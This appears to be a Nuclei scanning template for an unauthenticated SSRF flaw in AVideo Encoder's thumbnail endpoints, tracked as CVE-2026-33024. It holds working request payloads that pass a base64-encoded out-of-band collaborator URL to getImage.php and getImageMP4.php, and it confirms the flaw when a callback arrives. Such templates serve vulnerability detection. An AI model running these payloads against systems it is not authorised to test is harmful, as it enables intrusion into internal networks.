id: CVE-2026-33024

info:
  name: "AVideo Encoder - Unauthenticated Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    AVideo Encoder before 8.0 exposes the public thumbnail endpoints getImage.php and
    getImageMP4.php without authentication. Both accept a base64Url GET parameter, base64-decode
    it, and pass the resulting URL to ffmpeg as an input source. The prior validation only
    confirmed the decoded value was a syntactically valid http(s) URL, so an unauthenticated
    attacker can supply a URL pointing at internal or external hosts and make the Encoder issue
    server-side requests to it (SSRF). This template base64-encodes a unique out-of-band
    collaborator URL, submits it to the thumbnail endpoints, and confirms the vulnerability when
    the Encoder performs the resulting DNS/HTTP request to that collaborator.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-33024&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=avideo&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-33024
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,avideo,avideo-encoder,ssrf,oob,unauth
http:
  - method: GET
    path:
      - "{{BaseURL}}/getImage.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
      - "{{BaseURL}}/getImageMP4.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
      - "{{BaseURL}}/Encoder/getImage.php?base64Url={{base64('http://{{interactsh-url}}/')}}"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or